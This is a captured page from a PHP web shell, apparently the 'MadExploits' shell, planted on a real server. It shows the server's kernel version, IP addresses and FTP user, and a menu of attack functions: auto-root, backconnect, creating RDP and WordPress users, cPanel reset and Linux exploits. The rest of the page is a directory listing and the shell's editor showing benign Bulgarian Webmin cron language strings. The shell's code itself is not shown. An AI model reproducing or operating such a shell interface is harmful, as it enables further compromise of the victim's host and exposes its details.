Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
cron /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
af.auto
8.63
KB
-rw-r--r--
ar.auto
11.29
KB
-rw-r--r--
be.auto
13.32
KB
-rw-r--r--
bg
12.29
KB
-rw-r--r--
bg.auto
1.96
KB
-rw-r--r--
ca
8.08
KB
-rw-r--r--
ca.auto
1.13
KB
-rw-r--r--
cs
7.18
KB
-rw-r--r--
cs.auto
1.86
KB
-rw-r--r--
da.auto
8.3
KB
-rw-r--r--
de
8.27
KB
-rw-r--r--
de.auto
1.14
KB
-rw-r--r--
el.auto
15.23
KB
-rw-r--r--
en
7.93
KB
-rw-r--r--
es
6.12
KB
-rw-r--r--
es.auto
3.14
KB
-rw-r--r--
eu.auto
8.68
KB
-rw-r--r--
fa
7.15
KB
-rw-r--r--
fa.auto
4.98
KB
-rw-r--r--
fi.auto
9.1
KB
-rw-r--r--
fr
8.56
KB
-rw-r--r--
fr.UTF-8
8.56
KB
-rw-r--r--
fr.auto
1.4
KB
-rw-r--r--
he.auto
10.39
KB
-rw-r--r--
hr
5.97
KB
-rw-r--r--
hr.auto
2.56
KB
-rw-r--r--
hu
8.56
KB
-rw-r--r--
hu.UTF-8
8.56
KB
-rw-r--r--
hu.auto
1.19
KB
-rw-r--r--
it
6.55
KB
-rw-r--r--
it.auto
2.57
KB
-rw-r--r--
ja
4.53
KB
-rw-r--r--
ja.auto
5.84
KB
-rw-r--r--
ko
2.5
KB
-rw-r--r--
ko.auto
7.03
KB
-rw-r--r--
lt.auto
9.22
KB
-rw-r--r--
lv.auto
8.9
KB
-rw-r--r--
ms
7.22
KB
-rw-r--r--
ms.auto
1.66
KB
-rw-r--r--
mt.auto
9.08
KB
-rw-r--r--
nl
7.14
KB
-rw-r--r--
nl.auto
1.8
KB
-rw-r--r--
no
7.42
KB
-rw-r--r--
no.auto
1.03
KB
-rw-r--r--
pl
7.32
KB
-rw-r--r--
pl.auto
1.66
KB
-rw-r--r--
pt
2.13
KB
-rw-r--r--
pt.auto
7.47
KB
-rw-r--r--
pt_BR
7.31
KB
-rw-r--r--
pt_BR.auto
2.03
KB
-rw-r--r--
ro.auto
9.22
KB
-rw-r--r--
ru
4.17
KB
-rw-r--r--
ru.auto
9.76
KB
-rw-r--r--
sk
337
B
-rw-r--r--
sk.auto
8.99
KB
-rw-r--r--
sl.auto
8.58
KB
-rw-r--r--
sv
1.88
KB
-rw-r--r--
sv.auto
6.57
KB
-rw-r--r--
th.auto
16.34
KB
-rw-r--r--
tr
5.75
KB
-rw-r--r--
tr.auto
3.94
KB
-rw-r--r--
uk
4.12
KB
-rw-r--r--
uk.auto
9.44
KB
-rw-r--r--
ur.auto
12.85
KB
-rw-r--r--
vi.auto
10.99
KB
-rw-r--r--
zh
2.88
KB
-rw-r--r--
zh.auto
4.97
KB
-rw-r--r--
zh_TW
2.44
KB
-rw-r--r--
zh_TW.auto
5.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bg
index_title=Периодични изпълнявани задачи index_user=Потребител index_active=Активна? index_command=Команда index_when=Стартирай на index_comment=Описание index_none=Няма зададени cron задачи на тази система index_none2=Няма дефинирани cron задачи, до които да имат достъп. index_none3=Засега нямате задачи на Cron. index_create=Създай нова периодично изпълнявана задача (cron задача) index_ecreate=Създаване на нова променлива на обкръжението. index_allow=Контрол на потребителския достъп до cron задачите index_manual=Ръчно редактиране на задачите на Cron. index_return=cron списък index_env=Променлива на обкръжението index_move=Преместване index_run=Работи? index_ecmd=Командата $1 за управление на потребителските конфигурации на Cron не беше намерена. Може би Cron не е инсталиран на тази система? index_esingle=Файлът $1 със списък на задачи на Cron не съществува. Може би Cron не е инсталиран на тази система? index_ecrondir=Директорията за задачи на Cron $1 не съществува. Може би конфигурацията на модула е неправилна, или Cron не е инсталиран? index_ecrondir_create=Да опитам ли да създам директория за задачи $1 ? index_delete=Изтриване на избраните задачи index_disable=Изключване на избраните задачи index_enable=Включи избраните задачи index_esearch=Няма задачи, които да съответстват на търсенето ви за $1. index_toomany2=Задачите са твърде много, за да бъдат показани. Използвайте системата за търсене по-горе, за да ограничите списъка. index_search=Открий задачи на Cron, които съответстват index_ok=Търсене index_searchres=Задачи на Cron, които съответстват на $1 .. index_reset=Инициализиране на търсенето. index_econfigcheck=Задачите на Cron не могат да бъдат управлявани във вашата система, тъй като конфигурацията на модула не е валидна : $1 edit_title=Редактиране на cron задача create_title=Създаване на cron задача edit_ecannot=Нямате права за редактиране на cron задачите edit_details=Данни за задачата edit_user=Изпълни задачата като edit_active=Активна? edit_commands=Команди edit_command=Команда edit_comment=Описание edit_input=Входни данни към командата edit_when=Кога да бъде изпълнявана edit_range=Обхват на дати за изпълнение edit_mins=Минути edit_hours=Час edit_days=Ден edit_months=Месец edit_weekdays=Ден от седмицата edit_all=Всички edit_selected=Избраните .. edit_run=Изпълни сега edit_saverun=Запиши и стартирай веднага edit_clone=Дублиране на задача edit_return=cron задача edit_ctrl=Note: Ctrl-click (или command-click на Mac) за да изберете или премахнете няколко възможности за минута, дни, час, ден от седмицата или месец. edit_special1=Изпълнявай на избрани интервали .. edit_special0=Изпълни на посочения по-долу период .. edit_special_hourly=Ежечасово edit_special_daily=Ежедневно (в полунощ) edit_special_weekly=Ежеседмично (в Неделя) edit_special_monthly=Ежемесечно (на 1ви) edit_special_yearly=ежегодишно (на 1ви Ян) edit_special_reboot=При стартиране на системата lcedit_special_hourly=почасово lcedit_special_daily=ежедневно (в полунощ) lcedit_special_weekly=всяка седмица (в неделя) lcedit_special_monthly=всеки месец (на 1 число) lcedit_special_yearly=всяка година (на 1 януари) lcedit_special_reboot=когато системата стартира save_err=Грешка при запис на cron задачи save_ecmd=Не сте въвели команда за изпълнение save_euser=Трябва да посочите потребител save_euser2=Потребиле '$1' не съществува save_eallow=Потребителят '$1' няма права за достъп до cron save_ecannot=Нямате права за създавена или редактиране на cron задачи за '$1' save_enone=Не сте избрали $1 save_ecannot2=Нямате права да създавате задачи на Cron save_eidx=Задачата на Cron беше успешно записана, но стартираните й беше невъзможно - не беше открита! allow_title=Контрол на Cron достъпа allow_desc=Тази страница позволява да контролирате кои потребители могат да създават и изпълняват cron задачи. allow_ecannot=Нямата правата да контролирате потребителския достъп до cron allow_all1=Забрани на всички allow_all2=Забрани на всичко освен root allow_all3=Разреши на всички allow_allow=Разреши само на избраните allow_deny=Забрани само на избраните env_title1=Редактиране на променлива на обкръжението env_title2=Създаване на променлива на обкръжението env_name=Име на промелива env_value=Стойност env_user=За потребител env_active=Активен? env_details=Подробности за променлива на обкръжението env_err=Грешка при записа на променлива на обкръжението env_ename='$1' е невалидно име на променлива env_order=Бележка - Тази настройка за променлива на обкръжението ще важи само за задачи на Cron след нея в списъка на задачите на главната страница на модула. env_where=Добавяне на променлива на обкръжението env_where2=Преместване на променлива на обкръжението env_top=Преди всички задачи на Cron за потребителя env_bot=След всички задачи на Cron env_leave=Текуща позиция exec_title=Изпълнение на Cron задача exec_ecannot=Нямате права за изпълнение на cron задачи exec_cmd=Резултат от команда $1 .. exec_cmdbg=Стартира командата $1 като процес на заден фон. exec_none=Няма видим резултат acl_users=Права за редактиране на cron задачи за acl_all=Всички потребители acl_this=Текущият webmin потребител acl_only=Само потребителите acl_except=Всички освен потребителите acl_control=Права за контол на потребителксия достъп до cron? acl_command=Може да вижда и редактира команди на Cron? acl_uid=Потребители с UID в интервала acl_gid=Потребители в група acl_create=Може да създава задачи на Cron? acl_delete=Може да изтрива задачи на Cron? acl_move=Може да мести задачи на Cron? acl_kill=Може да прекъсва задачи на Cron? acl_hourly=Ограничаване на задачите до не по-често от почасови? acl_hourlydef=Както е зададено в конфигурацията на модула log_modify=Промяна на cron задача за $1 log_modify_l=Промяна на cron задача "$2" за $1 log_create=Създадена cron задача за $1 log_create_l=Създадена cron задача "$2" за $1 log_delete=Изтрита cron задача за $1 log_exec=Изпълнена cron задача as $1 log_exec_l=Изпълнена cron задача "$2" as $1 log_kill=Прекъсната задача на Cron за $1 log_kill_l=Прекъсната задача на Cron "$2" за $1 log_allow=Промяна на потребителски достъп до cron log_env_create=Създадена променлива на обкръжението за $1 log_env_modify=Модифицирана променлива на обкръжението за $1 log_env_delete=Изтрита променлива на обкръжението за $1 log_move=Преместена задача на Cron за $1 log_crons_delete=Изтрити $1 задачи на Cron log_crons_disable=Изключени $1 задачи на Cron log_crons_enable=Включени $1 задачи на Cron ecopy=Намерена е грешка в новата Cron конфигурация : $1 $2 when_min=всяка минута when_hour=всеки час, на $1 минута when_day=всеки ден в $2:$1 ч. when_month=на ден $3 от всеки месец, в $2:$1 ч. when_weekday=всеки $3 в $2:$1 ч. when_cron=във време на Cron $1 when_interval=всеки $1 секунди ucwhen_min=Всяка минута ucwhen_hour=Всеки час, на $1 минута ucwhen_day=Всеки ден в $2:$1 ч. ucwhen_month=На ден $3 от всеки месец, в $2:$1 ч. ucwhen_weekday=Всеки $3 в $2:$1 ч. ucwhen_cron=Във време на Cron $1 ucwhen_interval=Всеки $1 секунди move_err=Грешка при преместване на задача за Cron move_etype=Тази задача не може да бъде преместена kill_err=Грешка при прекъсването на задач на Cron kill_ecannot=Нямате права за прекъсване на тази задача kill_egone=Вече не работи kill_ekill=Грешка при прекъсване : $1 kill_title=Прекъсни задача на Cron kill_rusure=Сигурни ли сте, че искате да прекъснете процеса $1 с PID $2? kill_rusure2=Сигурни ли сте, че искате да прекъснете процеса $1 с PID $2, и всички негови подпроцеси? kill_ok=Да, прекъсни range_all=Стартиране на всяка дата range_start=Стартирай само от $1 range_end=до $1 range_estart=Липсваща или невалидна начална дата за период за стартиране range_eend=Липсваща или невалидна крайна дата за период за стартиране delete_err=Грешка при изтриването на задачи на Cron delete_enone=Няма избрани manual_title=Ръчно редактиране на задачи за Cron manual_edit=Файл на Cron, който да бъде редактиран: manual_ok=Редактиране manual_editing=Използвайте текстовото поле по-долу, за да редактирате задачи на Cron в $1. Бъдете внимателни - Webmin не ги проверява за коректност! manual_efile=Избраният файл не е валиден! manual_ecannot=Нямате права да редактирате ръчно задачи на Cron
Close